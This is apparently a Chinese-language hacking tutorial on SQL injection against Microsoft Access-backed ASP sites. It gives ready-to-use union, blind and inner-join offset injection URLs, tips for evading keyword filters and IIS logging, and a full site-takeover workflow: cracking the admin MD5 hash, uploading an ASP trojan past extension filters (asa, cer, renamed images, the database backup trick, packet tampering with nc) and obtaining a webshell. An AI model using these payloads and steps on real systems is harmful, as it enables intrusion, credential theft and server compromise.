access注入
前面有自己总结详细的mysql注入,自己access注入碰到的比较少,虽然比较简单,但是这里做一个总结
-
union联合查询法:
因为union前后字段数相同,所以可以先用order by 22 使查询结果按列序排序,确定当前有多少列,顺便直接爆出显示位 -
逐字猜解法:
查表:and exists (select * from 表名)
查列:and exists (select 列名 from 表名) //存在就返回正常页面,不存在就报错
查数据:1.确定此条数据字段(列名)长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5 //top1 仅显示第一条数据(select结果集元组),避免页面出错 经测试,此为此列第一条数据的长度
and (select top 1 len(列名) from admin)>5 //判断是不是长度大于5
and (select top 1 asc(mid(列名,位数,1)) from admin)=97 //mid()用于从文本中提取字段 mid(列名,起始位置,要返回的字符数)
and (select top 1 asc(mid(user,1,1)) from admin)=97 //返回页面正常没有报错,说明user列第一条数据第一位是a,
and (select top 1 asc(mid(user,2,1)) from admin)=97 //user列第2条数据第一位是b....一直猜到len(列名)长度
-
acces偏移注入:
解决表明知道列名不知道的情况,转自即刻安全Access数据库手工偏移注入详细讲解
1.猜字段数
http://www.xxx.com/show.asp?id=123 order by 20 页面返回正确
http://www.xxx.com/show.asp?id=123 order by 21 页面返回错误
2.猜表名:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from admin
返回正确,说明存在admin表,但是紧接着,爆出的数字地方,放入常用的字段始终报错,并不能猜出正确的字段,进而:
3.猜表下的字段数:
为了让语句正确,用来加长字段数:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19, from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin(页面报错)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin(页面正确)
此时就发现了admin表下有四个字段(20-16=4)。
4.inner join 连接查询:
ps:inner join查询是将一张表虚拟成多张相同的表来进行查询(我自己是这么理解的。)
首先用两张表来进行查询,应该减去重复的部分也就是这四个字段,不能让这四个字段算两次,这样的话20-4-4=12,语句中只需要罗列出12个数字。
继续,
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,* from (admin as a inner join admin as b on a.id = b.id)
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)
上面的这两种情况还是报错,那么我们继续再来添加一张表,再减去重复的四个字段,20-4-4-4=8,语句中只需要罗列出8个数字。
再次使用inner join查询:
http://www.xxx.com/show.asp?id=123 union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
页面返回正确,成功得到md5密码。
access偏移注入原理:*所表示的字段的顺序被打乱,通过使用inner join查询,从而有可能爆出用户和密码的字段数据。
下面再分享和补全access注入过程中的经验和方法
经验小结:
1.有些人会过滤select、update、delete这些关键字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。
2.在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取相同的名字。
3.特别注意:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,具体可以参考urlencode的相关介绍。
4.用get方法注入时,IIS会记录你所有的提交字符串,对post方法做则不记录,所以能用post的网址尽量不用get。
5. 猜解access时只能用ascii逐字解码法,SQLServer也可以用这种方法,只需要两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。
常规拿站方法:
1.用啊D或明小子各种工具扫描检测是否有注入点。
2.扫描access里的管理员的帐号和密码,但是密码一般都是用MD5加密过的,大家可以到MD5网站里破解。
3.判断注入:
‘ 不正常
and 1=1 正常
and 1=2 不正常
4.判断数据库类型
5.猜解表名,列名
6.检测字段长度
order by n n的数值不停地变化,在正常和不正常之间选择正常的字段值为正确的长度
7.扫描网站的后台地址,然后用破解出来的帐号和密码登录后台,找到文件上传的地方,利用asp上传漏洞上传asp木马,但是有不少网 站都限制了上传ASP文件的类型,一般来说ASP为后缀的文件都不允许上传。但是这种限制是可以被黑客突破的。比如:把asp扩展名修改 成asa,aaspsp,cer后进行上传asp木马。
获得webshell如不能上传asa,aaspsp,cer文件格式,也可以利用备份功能,首先找到文件上传功能,上传一个ASP木马但是要注意:把 ASP木马的扩展名改成JPG或GIF后缀的,然后找到后台的数据库备份把要备份的文件后缀改成.asp。
获得WEBSHELL或用采取上传一个正常的JPG图片用抓包工具抓包得到图片的上传路径和cookie,然后利用桂林老兵或明小子进行上传的欺 骗方式来上传asp木马,如上传失败就修改数据包再用nc上传获得webshell。